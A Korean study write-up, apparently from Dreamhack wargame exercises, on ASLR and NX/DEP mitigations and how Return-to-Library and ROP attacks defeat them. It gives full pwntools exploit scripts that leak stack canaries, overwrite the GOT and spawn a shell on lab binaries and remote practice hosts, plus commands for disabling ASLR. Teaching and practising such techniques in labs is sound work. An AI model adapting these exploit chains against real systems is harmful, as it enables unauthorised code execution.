ASLR

▶ ASLR

- 메모리 손상 취약점 공격을 방지 하기 위한 기술

- 스택, 힙, 라이브러리, 등의 주소를 랜덤한 영역에 배치하여, 공격에 필요한 Target address를 예측하기 어렵게 만든다.

ex) Retrun to libc 공격을 하기 위해 공유 라이브러리에서 사용하려는 함수의 주소를 알아야 한다. 이러한 주소 값들이 프로그램이 호출 될때 마다 고정적인 주소를 가지면 쉽게 활용할 수 있지만 ASLR의 적용으로 인해 프로그램 호출마다 스택, 힙, 라이브러리 영역의 주소가 변경되면 공격이 어려워진다.

 

< Set ASLR >

 

< Check the protection techniques of binary files >

▶ checksec.sh

- checksec에서 "System-wide ASLR (kernel.randomize_va_space): On (Setting: 2)"라고 출력된다.

 

▶ Memory map

- 메모리 변화 확인하기

  • "/proc/<PID>/maps" 파일을 통해 프로세스의 메모리 구조 및 주소를 확인 할 수 있다.
  • randomize_va_space에 2를 설정한 환경이다.
  • 프로그램을 처음 실행했을 때와 두번째 실행했을 때의 메모리 배치가 다른 것을 확인 할 수 있다.

 

< Example >

▶ Source code

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
char *global = "Lazenca.0x0";
  
int main(){
    char *heap = malloc(100);
    char *stack[] = {"LAZENCA.0x0"};
 
    printf("[Heap]  address: %p\n", heap);
    printf("[Stack] address: %p\n", stack);
    printf("[libc]  address: %p\n",**(&stack + 3));
    printf("[.data] address: %p\n",global);
    gets(heap);
    return 0;
}

위 코드로 heap, stack, libc의 주소를 출력한다.

 

echo 0 > /proc/sys/kernel/randomize_va_space

- Heap, Stack, Libc의 주소 영역 변경 X

 

▶ echo 1 > /proc/sys/kernel/randomize_va_space

- Stack, Libc의 주소 영역 변경

 

▶ echo 2 > /proc/sys/kernel/randomize_va_space

- Heap, Stack, Libc의 주소 영역 변경

 

▶ .data

- ASLR의 설정을 2로 하였지만 .data 영역의 주소는 변경 X

- 매번 새로운 주소에 할당하기 위해서 PIE를 적용해야 한다.

 

< How to detect ASLR in the "Checksec.sh" file >

- 시스템의 ASLR 설정여부 확인하기

  • "/proc/1/status" 파일 내에 'PaX'단어를 검색하고 검색 결과에서 'R'이 존재하는지 확인한다. 조건을 모두 만족하면 "ASLR enabled"로 판단한다.
  • "/proc/1/status" 파일 내에 'PaX'라는 단어가 없을 경우 'sysctl' 명령어를 통해 출력된 내용 중 "kernel.randomize_va_space ="의 값을 확인해 ASLR 설정을 판단한다.

 

  • 해당 시스템에서는 해당 파일에 "Pax" 정보가 없기 때문에 "/proc/1/status"를 이용해 ASLR이 적용되었는지 확인 할 수 없다. 그래서 'sysctl' 명령어를 이용해 ASLR설정 여부를 판단할 수 있다. 시스템의 설정 값은 '2'이다.

NX Bit(MX : DEP)

▶ NX Bit(Never eXecute bit, 실행 방지 비트)

: 프로세스 명령어나 코드 또는 데이터 저장을 위한 메모리 영역을 따로 분리하는 CPU의 기술

  NX 특성으로 지정된 모든 메모리 구역은 데이터 저장을 위해서만 사용되며, 프로세서 명령어가 그 곳에 상주하지 않음으로써 실행되지 않도록 만들어 준다.

 

▶ DEP(Data Execution Prevention)

- 마이크로소프트 윈도우 운영 체제에 포함된 보안 기능이며, 악의적인 코드가 실행되는 것을 방지하기 위해 메모리를 추가로 확인하는 하드웨어 및 소프트웨어 기술

- 하드웨어 DEP: 메모리에 명시적으로 실행 코드가 포함되어 있는 경우를 제외하고 프로세스의 모든 메모리 위치에서 실행할 수 없도록 표시 ( 대부분 최신 프로세서는 하드웨어 적용 DEP를 지원)

- 소프트웨어 DEP: CPU가 하드웨어 DEP를 지원하지 않을 경우 사용한다.

 

ex) 공격자가 Heap, Stack 영역에 Shellcode를 저장해서 실행하기 위해서는 해당 영역에 실행권한이 있어야 한다.

- DEP가 적용되지 않았을 경우 → 쉘코드가 실행되어야 한다.

- DEP가 적용된 경우 → 실행권한이 없으므로 쉘코드가 실행되지 않는다. (프로그램에서 해당 동작에 대한 예외 처리 후 프로세서가 종료된다.

< Example program >

#include <stdio.h>
#include <stdlib.h>
 
int main(){
    char str[256];
    char *chare = (char*)malloc(100);
 
    printf("Input: ");
    gets(str);
    printf("%p\n", str);
}

 

 

< Check the protection techniques of binary files >

▶ checksec.sh

- gcc -z execstack -o DEP-disabled DEP.cfh 

- gcc -o DEP-enabled DEP.c

 

▶ Checking Permissions in Memory

다음과 같은 메모리 맵에서 메모리 영역별 설정된 권환을 확인할 수 있다.

- DEP enabled의 경우 실행권환(--x-)을 가지고 있는 영역은 5곳이다.

- DEP disabled의 경우 실행권한(--x-)을 가지고 있는 영역은 17곳이다.

 

< How to detect NX in the "Checksec.sh" file >

▶ Binary

- 바이너리 NX 설정여부 하기

: readelf 명령어를 이용해 파일의 세그먼트 헤더 정보에서 NX 여부를 확인, 파일의 세그먼트 헤더 정보에서 'GNU_STACK'의 Flg값이 'RWE'이라면 NX가 활성되었다고 판단

NX 적용 바이너리 Flg 값 : RW / NX 적용X 바이너리 값 : RWE

 

▶ Process

- 실행중인 프로세서의 NX 설정 여부 확인하기

: 바이너리 확인 방식과 동일하며, 전달되는 파일의 경로가 다르다. (ex) /proc/<PID>/exe)

 

▶ CPU

- CPU의 NX 설정여부 확인하기

: "/proc/cpuinfo" 파일에서 'nx'문자가 있는지 확인하기

[함께실습] Return to Library - Exploit Tech: Return to Library

 

> 공격 기법, 보호 기법 요약

Return Address Overwrite: 반환 주소를 악성 함수의 주소로 덮어서 셸 획득
Stack Canary: 스택 프레임의 반환 주소 전에 랜덤한 카나리를 주입하여 반환 주소를 덮기 어렵게 함
Return to Shellcode: 카나리를 우회하고, 셸 코드를 주입한 버퍼의 주소로 반환 주소를 덮어서 셸 획득
ASLR: 임의 버퍼의 주소를 알기 어렵게 함
NX: 각 세그먼트에 불필요한 실행권한을 제거함으로써 공격자가 임의 버퍼에 주입한 코드를 실행하기 어렵게함

 

▶ Return to Library

  NX로 인해 공격자가 버퍼에 주입한 셸 코드를 실행하기는 어려워졌지만, 스택 버퍼 오버플로우 취약점으로 반환 주소를 덮는 것은 여전히 가능했다. 그래서 공격자들은 실행 권한이 남아있는 코드 영역으로 반환 주소를 덮는 공격 기법을 고안했다.

 

  프로세스에 실행 권한이 있는 메모리 영역은 일반적으로 바이너리의 코드 영역과 바이너리가 참조하는 라이브러리의 코드 영역이다.

 

  이 중, 공격자들이 주목한 것은 다양한 함수가 구현된 라이브러리였다. 몇몇 라이브러리에는 공격에 유용한 함수들이 구현되어있다. 예를 들어, 리눅스에서 C언어로 작성된 프로그램이 참조하는 libc에는 system, execve등 프로세스의 실행과 관련된 함수들이 구현되어 있다.

 

  공격자들은 libc의 함수들로 NX를 우회하고 셸을 획득하는 공격 기법을 개발하였고, 이를 Return To Libc라고 이름 지었다. 다른 라이브러리도 공격에 활용될 수 있으므로 이 공격 기법은 Return To Library라고도 불린다. 유사한 공격 기법으로 Return To PLT가 있는데 이 공격 기법도 라이브러리의 코드를 사용하는 것이 핵심이다.

 

// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
const char* binsh = "/bin/sh";
int main() {
  char buf[0x30];
  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);
  // Add system function to plt's entry
  system("echo 'system@plt");
  // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);
  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  return 0;
}

 

▶ 보호 기법

  코드를 컴파일하고 checksec으로 보호 기법을 파악해보자.

  카나리가 존재하고, NX가 적용되어 있다. 실습 환경 및 최신 리눅스 커널에서 ASLR은 기본으로 적용되어 있으므로, 특별히 언급하지 않는다면 ASLR은 적용된 것이다.

 

▶ 코드 분석

 - "/bin/sh"를 코드 섹션에 추가

  rtl.c의 7번째 줄은 “/bin/sh”를 코드 섹션에 추가하기 위해 작성된 코드이다. ASLR이 적용돼도 PIE가 적용되지 않으면 코드 세그먼트와 데이터 세그먼트의 주소는 고정되므로, “/bin/sh”의 주소는 고정되어 있다. 이 문자열은 공격에 유용하게 사용될 수 있다.

const char* binsh = "/bin/sh";

 

 - system 함수를 PLT에 추가

  rtl.c의 16번째 줄은 PLT에 system을 추가하기 위해 작성된 코드이다. PLT와 GOT는 라이브러리 함수의 참조를 위해 사용하는 테이블이다. 그 중 PLT에는 함수의 주소가 resolve되지 않았을 때, 함수의 주소를 구하고 실행하는 코드가 적혀있다.

system("echo 'system@plt");

  따라서 PLT에 어떤 라이브러리 함수가 등록되어 있다면, 그 함수의 PLT 엔트리를 실행함으로써 함수를 실행할 수 있다. ASLR이 걸려 있어도 PIE가 적용되어 있지 않다면 PLT의 주소는 고정되므로, 무작위의 주소에 매핑되는 라이브러리의 베이스 주소를 몰라도 이 방법으로 라이브러리 함수를 실행할 수 있다. 이 공격 기법을 Return to PLT라고 부른다.

 

  ELF의 PLT에는 ELF가 실행하는 라이브러리 함수만 포함된다. 따라서 다음 코드를 작성하면 PLT에 system함수를 추가할 수 있다.

 

- 버퍼 오버플로우

  rtl.c의 18번째 줄부터 27번째 줄까지는 두 번의 오버플로우로 스택 카나리를 우회하고, 반환 주소를 덮을 수 있도록 작성된 코드이다.

 // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);
  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);

 

▶ 익스플로잇 설계

1. 카나리 우회

첫 번째 입력에서 적절한 길이의 데이터를 입력하면 카나리를 구할 수 있다.

 

2. rdi값을 "/bin/sh"의 주소로 설정 및 셸 획득

  카나리를 구했으면, 이제 두 번째 입력으로 반환 주소를 덮을 수 있다. 그러나 NX로 인해 지난 코스에서와같이 buf에 셸 코드를 주입하고 이를 실행할 수는 없다. 이번에는 다른 방법으로 셸을 획득해야 한다.

 

  공격을 위해 알고 있는 정보를 정리해보면 다음과 같다.

  • “/bin/sh”의 주소를 안다.
  • system 함수의 PLT 주소를 안다. ==> system 함수를 호출할 수 있다.

  system(“/bin/sh”)을 호출하면 셸을 획득할 수 있다. x86-64의 호출 규약에 따르면 이는 rdi=”/bin/sh” 주소인 상태에서 system 함수를 호출한 것과 같다.

 

  이 예제에서는 “/bin/sh”의 주소를 알고, system 함수를 호출할 수 있으므로 “/bin/sh”의 주소를 rdi의 값으로 설정할 수 있다면 system(“/bin/sh”)를 실행할 수 있다. 이를 위해선 리턴 가젯을 활용해야 한다.

 

▶ 리턴 가젯

: ret로 끝나는 어셈블리 코드 조각

 

  지금까지는 어떤 함수의 주소 또는 셸 코드의 주소로 반환 주소를 덮어서 한 번에 셸을 획득했다. 그러나 NX로 인해 셸 코드를 실행할 수 없는 상황에서, 단 한 번의 함수 실행으로 셸을 획득하는 것은 일반적으로 불가능하다.

 

  리턴 가젯은 반환 주소를 덮는 공격의 유연성을 높여서 익스플로잇에 필요한 조건을 만족할 수 있도록 돕는다. 예를 들어 이 예제에서는 rdi의 값을 “/bin/sh”의 주소로 설정하고, system 함수를 호출해야 한다. 리턴 가젯을 사용하여 반환 주소와 이후의 버퍼를 다음과 같이 덮으면, pop rdi로 rdi를 “/bin/sh”의 주소로 설정하고, 이어지는 ret로 system 함수를 호출할 수 있다.

 

대부분의 함수는 ret로 종료되므로, 함수들도 리턴 가젯으로 사용될 수 있다.

 

▶ 카나리 우회

#!/usr/bin/python3
# Name: rtl.py
from pwn import *
p = process("./rtl")
e = ELF("./rtl")
def slog(name, addr): return success(": ".join([name, hex(addr)]))
# [1] Leak canary
buf = b"A"*0x39
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
cnry = u64(b"\x00"+p.recvn(7))
slog("canary", cnry)

 

▶ 리턴 가젯 찾기

리턴 가젯을 찾는 방법은 다양하지만, 일반적으로 ROPgadget을 사용한다.

 

  다음 명령어로 필요한 가젯을 찾을 수 있다. --re 옵션을 사용하면 정규표현식으로 가젯을 필터링할 수 있다. 일반적으로 바이너리에 포함된 가젯의 수가 매우 많으므로 필터링하여 가젯을 찾는 것이 좋다. 왼편에 16진수로 적힌 주소가 가젯의 주소이다.

 

▶ 익스플로잇

다음과 같이 가젯을 구성하고, 실행하면 system(“/bin/sh”)를 실행할 수 있다.

 

"/bin/sh"의 주소는 pwndbg로 찾을 수 있다.

 

  system 함수의 PLT 주소는 pwndbg 또는 pwntools의 API로 찾을 수 있다. 여기서는 pwntools의 API로 스크립트를 작성할 것이다.

 

  가젯으로 구성된 페이로드를 작성하고, 이 페이로드로 반환 주소를 덮으면 셸을 획득할 수 있다.

 

  여기서 한가지 주의할 점은, system 함수로 rip가 이동할 때, 스택은 반드시 0x10단위로 정렬되어 있어야 한다는 것이다. 이는 system 함수 내부에 있는 movaps 명령어 때문인데, 이 명령어는 스택이 0x10단위로 정렬되어 있지 않으면 Segmentation Fault를 발생시킨다.

 

  system 함수를 이용한 익스플로잇을 작성할 때, 익스플로잇이 제대로 작성된 것 같은데도 Segmentation Fault가 발생한다면, system 함수의 가젯을 8 바이트 뒤로 미뤄보는 것이 좋다. 이를 위해서 아무 의미 없는 가젯(no-op gadget)을 system 함수 전에 추가할 수 있다.

 

#!/usr/bin/python3
from pwn import *
p = process("./rtl")
e = ELF("./rtl")
def slog(name, addr): return success(": ".join([name, hex(addr)]))
# [1] Leak canary
buf = b"A"*0x39
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
cnry = u64(b"\x00"+p.recvn(7))
slog("canary", cnry)
# [2] Exploit
system_plt = e.plt["system"]
binsh = 0x400874
pop_rdi = 0x0000000000400853
ret = 0x0000000000400285
payload = b"A"*0x38 + p64(cnry) + b"B"*0x8
payload += p64(ret)  # align stack to prevent errors caused by movaps
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system_plt)
pause()
p.sendafter("Buf: ", payload)
p.interactive()

  system_plt = e.plt["system"]으로 system의 plt를 저장해주고, 위에서 구성한 가젯과 같이 binish, pop_rdi, ret을 설정해주어 이를 payload에 넣어준다.

 

그리고 다음과 같은 결과를 얻을 수 있었다.

 

이를 드림핵 포트에 연결시키면 flag라는 파일이 나오고 이를 읽으면 flag를 얻을 수 있다.


[함께실습] Return Oriented Programming

                              - Exploit Tech: Return Oriented Programming

 

▶ Return Oriented Programming

 : 리턴 가젯을 사용하여 복잡한 실행 흐름을 구현하는 기법

 

  공격자는 ROP를 이용해서 문제 상황에 맞춰 return to library, return to dl-resolve, GOT overwrite 등의 페이로드를 구성할 수 있다. 위 실습에서 pop rdi; ret을 사용하여 system(“/bin/sh”)을 호출한 것도 ROP를 사용하여 return to library를 구현한 예시다.

 

  ROP 페이로드는 리턴 가젯으로 구성되는데, ret 단위로 여러 코드가 연쇄적으로 실행되는 모습에서 ROP chain이라고도 불린다.

// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
int main() {
  char buf[0x30];
  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);
  // Leak canary
  puts("[1] Leak Canary");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);
  // Do ROP
  puts("[2] Input ROP payload");
  printf("Buf: ");
  read(0, buf, 0x100);
  return 0;
}

 

▶ 보호 기법

 코드를 컴파일 하고 checksec로 보호 기법을 파악한다.

 

▶ 코드 분석

  위 실습과 달리 바이너리에서 system함수를 호출하지 않아서 PLT에 등록되지 않으며, “/bin/sh” 문자열도 데이터 섹션에 기록하지 않는다. 따라서 system함수를 익스플로잇에 사용하려면 함수의 주소를 직접 구해야 하고, “/bin/sh” 문자열을 사용할 다른 방법을 고민해야 한다.

 

▶ 익스플로잇 설계

1. 카나리 우회

 

2. system 함수의 주소 계산

  system 함수는 libc.so.6에 정의되어 있으며, 해당 라이브러리에는 이 바이너리가 호출하는 read, puts, printf도 정의되어 있다. 라이브러리 파일은 메모리에 매핑될 때 전체가 매핑되므로, 다른 함수들과 함께 system 함수도 프로세스 메모리에 같이 적재된다.

  바이너리가 system 함수를 직접 호출하지 않아서 system 함수가 GOT에는 등록되지 않는다. 그러나 read, puts, printf는 GOT에 등록되어 있다. main 함수에서 반환될 때는 이 함수들을 모두 호출한 이후이므로, 이들의 GOT를 읽을 수 있다면 libc.so.6가 매핑된 영역의 주소를 구할 수 있다.

  libc에는 여러 버전이 있는데 같은 libc안에서 두 데이터 사이의 거리(Offset)는 항상 같다. 그러므로 사용하는 libc의 버전을 알 때, libc가 매핑된 영역의 임의 주소를 구할 수 있으면 다른 데이터의 주소를 모두 계산할 수 있다.

  rop.c에서는 read, puts, printf가 GOT에 등록되어 있으므로, 하나의 함수를 정해서 그 함수의 GOT 값을 읽고, 그 함수의 주소와 system 함수 사이의 거리를 이용해서 system 함수의 주소를 구해낼 수 있을 것이다.

 

3. "/bin/sh"

  이 바이너리는 데이터 영역에 “/bin/sh” 문자열이 없다. 따라서 이 문자열을 임의 버퍼에 직접 주입하여 참조하거나, 다른 파일에 포함된 것을 사용해야 한다. 후자의 방법을 선택할 때 많이 사용되는 것이 libc.so.6 에 포함된 “/bin/sh” 문자열이다. 이 문자열의 주소도 system 함수의 주소를 계산할 때처럼 libc 영역의 임의 주소를 구하고, 그 주소로부터 거리를 더하거나 빼서 계산할 수 있다. 이 방법은 주소를 알고 있는 버퍼에 “/bin/sh”를 입력하기 어려울 때 차선책으로 사용될 수 있다.

 

3. GOT Overwrite

  system 함수와 “/bin/sh” 문자열의 주소를 알고 있으므로, 위 실습에서처럼 pop rdi; ret 가젯을 활용하여 system(“/bin/sh”)를 호출할 수 있다. 그러나 system 함수의 주소를 알았을 때는 이미 ROP 페이로드가 전송된 이후이므로, 알아낸 system 함수의 주소를 페이로드에 사용하려면 main함수로 돌아가서 다시 버퍼 오버플로우를 일으켜야 한다. 이러한 공격 패턴을 ret2main이라고 부르는데, 이번 실습에서는 GOT Overwrite 기법을 통해 한 번에 셸을 획득할 것이다.

Background: Library - Dynamic Link VS. Static Link 코스에서 Lazy binding에 대해 배운 내용을 정리해보면 다음과 같다.

  1. 호출할 라이브러리 함수의 주소를 프로세스에 매핑된 라이브러리에서 찾는다.
  2. 찾은 주소를 GOT에 적고, 이를 호출한다.
  3. 해당 함수를 다시 호출할 경우, GOT에 적힌 주소를 그대로 참조한다.

  위 과정에서 GOT Overwrite에 이용되는 부분은 3번이다. GOT에 적힌 주소를 검증하지 않고 참조하므로 GOT에 적힌 주소를 변조할 수 있다면, 해당 함수가 재호출될 때 공격자가 원하는 코드가 실행되게 할 수 있다.

알아낸 system 함수의 주소를 어떤 함수의 GOT에 쓰고, 그 함수를 재호출하도록 ROP 체인을 구성하면 될 것이다.

 

익스플로잇

▶ 카나리 우회

#!/usr/bin/python3
# Name: rop.py
from pwn import *
def slog(name, addr): return success(": ".join([name, hex(addr)]))
p = process("./rop")
e = ELF("./rop")
# [1] Leak canary
buf = b"A"*0x39
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
cnry = u64(b"\x00"+p.recvn(7))
slog("canary", cnry)

 

▶ system 함수의 주소 계산

  read 함수의 got를 읽고, read 함수와 system 함수의 오프셋을 이용하여 system 함수의 주소를 계산할 것이다. pwntools에는 ELF.symbols이라는 메소드가 정의되어 있는데, 특정 ELF에서 심볼 사이의 오프셋을 계산할 때 유용하게 사용될 수 있다.

  예를 들어, 사용하는 libc가 /lib/x86_64-linux-gnu/libc-2.27.so 일 때, 다음 코드로 system 함수와 read 함수의 오프셋을 구할 수 있다.

#!/usr/bin/python3
from pwn import *
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
read_system = libc.symbols["read"]-libc.symbols["system"]

 

  puts와 pop rdi; ret 가젯을 사용하여 read 함수의 GOT를 읽고, 이를 이용해서 system 함수의 주소를 구하는 페이로드를 작성해보자.

from pwn import *
def slog(name, addr): return success(": ".join([name, hex(addr)]))
p = process("./rop")
e = ELF("./rop")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
# [1] Leak canary
buf = b"A"*0x39
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
cnry = u64(b"\x00"+p.recvn(7))
slog("canary", cnry)
# [2] Exploit
read_plt = e.plt['read']
read_got = e.got['read']
puts_plt = e.plt['puts']
pop_rdi = 0x00000000004007f3
pop_rsi_r15 = 0x00000000004007f1
payload = b"A"*0x38 + p64(cnry) + b"B"*0x8
# puts(read_got)
payload += p64(pop_rdi) + p64(read_got)
payload += p64(puts_plt)
p.sendafter("Buf: ", payload)
read = u64(p.recvn(6)+b"\x00"*2)
lb = read - libc.symbols["read"]
system = lb + libc.symbols["system"]
slog("read", read)
slog("libc_base", lb)
slog("system", system)
p.interactive()

위에서 ROPgadget을 구한 것과 동일하게 이번에는 "pop rdi"와 "pop rsi"를 찾아보았다.

 

  payload에 오버플로우가 되도록 "A"를 0x38만큼 넣어준 후 cnry값과 sfp와 dummy만큼인 0x8개의 "B"를 넣어준다. 앞서 구한 pop_rdi, read_got, puts_plt를 p64를 사용해 리틀 엔디안 방식으로 패킹해주도록 하여 payload 넣어준다.   

 

▶ GOT Overwrite 및 "/bin/sh" 입력

  “/bin/sh”는 덮어쓸 GOT 엔트리 뒤에 같이 입력하면 된다. 이 바이너리에서는 입력을 위해 read함수를 사용할 수 있다. read함수는 입력 스트림, 입력 버퍼, 입력 길이, 총 세 개의 인자를 필요로 한다. 함수 호출 규약에 따르면 설정해야 하는 레지스터는 rdi, rsi, rdx이다.

  앞의 두 인자는 pop rdi ; ret와 pop rsi ; pop r15 ; ret 가젯으로 쉽게 설정할 수 있다. 그런데 마지막 rdx와 관련된 가젯은 바이너리에서 찾기 어렵다. 이 바이너리뿐만 아니라, 일반적인 바이너리에서도 rdx와 관련된 가젯은 찾기가 어렵다.

  이럴 때는 libc의 코드 가젯이나, libc_csu_init가젯을 사용하여 문제를 해결할 수 있다. 또는 rdx의 값을 변화시키는 함수를 호출해서 값을 설정할 수도 있다. 예를 들어, strncmp 함수는 rax로 비교의 결과를 반환하고, rdx로 두 문자열의 첫 번째 문자부터 가장 긴 부분 문자열의 길이를 반환한다.

 

$ ROPgadget --binary /lib/x86_64-linux-gnu/libc-2.27.so | grep "pop rdx"

 

  이 실습에서는 read 함수의 GOT를 읽은 뒤 rdx 값이 매우 크게 설정되므로, rdx를 설정하는 가젯을 추가하지 않아도 된다. 좀 더 안정적인(reliable) 익스플로잇을 작성하려면 가젯을 추가해줘도 좋다.

  read 함수, pop rdi ; ret, pop rsi ; pop r15 ; ret 가젯을 이용하여 read의 GOT를 system 함수의 주소로 덮고, read_got + 8에 “/bin/sh”문자열을 쓰는 익스플로잇을 작성해보자.

from pwn import *
def slog(name, addr): return success(": ".join([name, hex(addr)]))
p = process("./rop")
e = ELF("./rop")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
# [1] Leak canary
buf = b"A"*0x39
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
cnry = u64(b"\x00"+p.recvn(7))
slog("canary", cnry)
# [2] Exploit
read_plt = e.plt['read']
read_got = e.got['read']
puts_plt = e.plt['puts']
pop_rdi = 0x00000000004007f3
pop_rsi_r15 = 0x00000000004007f1
payload = b"A"*0x38 + p64(cnry) + b"B"*0x8
# puts(read_got)
payload += p64(pop_rdi) + p64(read_got)
payload += p64(puts_plt)
# read(0, read_got, 0x10)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)
# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got+0x8)
payload += p64(read_plt)
p.sendafter("Buf: ", payload)
read = u64(p.recvn(6)+b"\x00"*2)
lb = read - libc.symbols["read"]
system = lb + libc.symbols["system"]
slog("read", read)
slog("libc base", lb)
slog("system", system)
p.send(p64(system)+"/bin/sh\x00")

 

 

▶ 셸 획득

  read 함수의 GOT를 system 함수의 주소로 덮었으므로, 위 실습과 마찬가지의 방법으로 system(“/bin/sh”)를 실행할 수 있다.

from pwn import *
def slog(name, addr):
	return success(": ".join([name, hex(addr)]))
p = remote("host1.dreamhack.games", 9826)
e = ELF("./rop")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# [1] Leak canary
buf = b"A"*0x39
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
cnry = u64(b"\x00"+p.recvn(7))
slog("canary", cnry)
# [2] Exploit
read_plt = e.plt['read']
read_got = e.got['read']
puts_plt = e.plt['puts']
pop_rdi = 0x00000000004007f3
pop_rsi_r15 = 0x00000000004007f1
payload = b"A"*0x38 + p64(cnry) + b"B"*0x8
# puts(read_got)
payload += p64(pop_rdi) + p64(read_got)
payload += p64(puts_plt)
# read(0, read_got, 0x10)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)
# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got+0x8)
payload += p64(read_plt)
p.sendafter("Buf: ", payload)
read = u64(p.recvn(6)+b"\x00"*2)
lb = read - libc.symbols["read"]
system = lb + libc.symbols["system"]
slog("read", read)
slog("libc base", lb)
slog("system", system)
p.send(p64(system)+b"/bin/sh\x00")
p.interactive()


[혼자실습] Return Oriented Programming 

basic_rop_x64

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

  buf의 크기는 0x40인데 read 함수로 0x400만큼을 입력받기 때문에 오버플로우가 발생한다. write 함수를 이용해 read로 입력받은 buf를 출력해준다.

 

from pwn import *
context.log_level = 'debug'
p = remote("host1.dreamhack.games", 12046)
e = ELF("./basic_rop_x64")
libc = ELF("./libc.so.6")

pop_rdi = 0x0000000000400883
pop_rsi = 0x0000000000400881
ret2main = 0x00000000004007bb

read_got = e.got["read"]
read_plt = e.plt["read"]
puts_plt = e.plt["puts"]

payload = b"A"*(0x40+0x8)
payload += p64(pop_rdi) + p64(read_got)
payload += p64(puts_plt)
payload += p64(ret2main)

p.send(payload)
p.recvn(0x40)

libc_base = u64(p.recvn(6)+b"\x00"*2) - libc.symbols["read"]
system_addr = libc_base + libc.symbols["system"]

payload = b"A"*(0x40+0x8)
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi)
payload += p64(read_got) + p64(0)
payload += p64(read_plt)
payload += p64(pop_rdi)
payload += p64(read_got+0x8)
payload += p64(read_plt) 
p.send(payload)
p.recvn(0x40)

p.send(p64(system_addr)+b"/bin/sh\x00")

p.interactive()

  read함수의 got를 system함수의 주소로 덮어 system("/bin/sh")를 실행한다.

  payload += p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(read_got)+p64(0)+p64(read_plt)는 read(0, read_got, 0x10)에 해당하는 부분이다.

  payload += p64(pop_rdi)+p64(read_got+0x8)+p64(read_plt)는 read("/bin/sh")==system("/bin/sh")에 해당한다.

 

 

basic_rop_x86

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

 

read, write에 들어가는 인자는 총 3개이다. 따라서 pop을 3번 해주는 가젯이 필요로하다.

from pwn import *
context.log_level = 'debug'
p = remote("host1.dreamhack.games", 15551)
e = ELF("./basic_rop_x86")
libc = ELF("./libc.so.6")

read_got = e.got["read"]
read_plt = e.plt["read"]
write_plt = e.plt["write"]

pr = 0x080483d9
ppr = 0x0804868a
pppr = 0x08048689

bss=e.bss()

payload = b"A"*0x48
payload += p32(write_plt)+p32(pppr)+p32(1)+p32(read_got)+p32(4)
payload += p32(read_plt)+p32(pppr)+p32(0)+p32(bss)+p32(8)
payload += p32(read_plt)+p32(pppr)+p32(0)+p32(read_got)+p32(4)
payload += p32(read_plt)+b"exit"+p32(bss)

p.sendline(payload)

p.recvn(0x40)
libc_base = u32(p.recvn(4)) - libc.symbols["read"]
system_addr = libc_base + libc.symbols["system"]

p.sendline(b"/bin/sh")
p.sendline(p32(system_addr))
p.interactive()

  버퍼오버플로우를 발생시켜 ret로 향하게 하고 ret에 write_plt와 pppr 가젯을 넣는다. read함수의 주소를 알아낸 후 read_plt와 pppr가젯을 넣고 0, bss, 8을 넣어 bss영역에 /bin/sh를 넣을 수 있도록 한다. read_plt로 이를 저장해주고 write_plt로 system 주소로 덮어준다. 이를 통해 system 함수가 실행된다. 

[ NX & ASLR ]

Mitigation: NX & ASLR

▶ ASLR (Address Space Layout Randomization)

: 바이너리가 실행될 때마다 스택, 힙, 공유 라이브러리 등을 임의의 주소에 할당하는 보호 기법

 

ASLR은 커널에서 지원하는 보호 기법이며, 다음의 명령어로 확인할 수 있다.

 

리눅스에서 이 값은 0, 1, 또는 2의 값을 가질 수 있다. 각 ASLR이 적용되는 메모리 영역은 다음과 같다.

  • No ASLR(0): ASLR을 적용하지 않음
  • Conservative Randomization(1): 스택, 힙, 라이브러리, vdso 등
  • Conservative Randomization + brk(2): (1)의 영역과 brk로 할당한 영역

